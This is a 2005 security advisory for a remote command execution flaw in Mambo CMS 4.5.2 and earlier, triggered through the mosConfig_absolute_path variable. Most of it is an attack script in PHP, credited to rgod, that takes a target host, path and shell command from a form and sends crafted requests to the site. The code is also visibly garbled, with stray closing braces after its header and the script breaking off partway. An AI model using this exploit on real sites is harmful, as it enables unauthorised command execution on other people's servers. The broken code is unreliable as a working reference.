Mambo Variable Command Execution (Exploit, mosConfig_absolute_path)
24 Nov. 2005
Summary
Mambo is "powerful Open Source Content Management Systems. Mambo is used all over the world for everything from simple websites to complex corporate applications".
A vulnerability in Mambo's mosConfig_absolute_path variable allows remote command execution, the following exploit code can be used to verify whether your Mambo installation is vulnerable.
Credit:
The information has been provided by rgod.
The original article can be found at: http://rgod.altervista.org
Vulnerable Systems:
* Mambo version 4.5.2 and prior
Exploit:
<?php
#
# ---mambo452_xpl.php 15.19 17/11/2005
#
# Mambo <= 4.5.2 Globals overwrite / remote commands execution
# coded by rgod
# site: http://rgod.altervista.org
#
# usage: launch from Apache, fill in requested fields, then go!
#
# Sun-Tzu: "Rapidity is the essence of war: take advantage of the enemy's
# unreadiness, make your way by unexpected routes, and attack unguarded
# spots."
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];$command=$_POST[command];
$proxy=$_POST[proxy];$location=$_POST[location];$port=$_POST[port];
if (($host<>'') and ($path<>'') and ($command<>'') and ($location<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);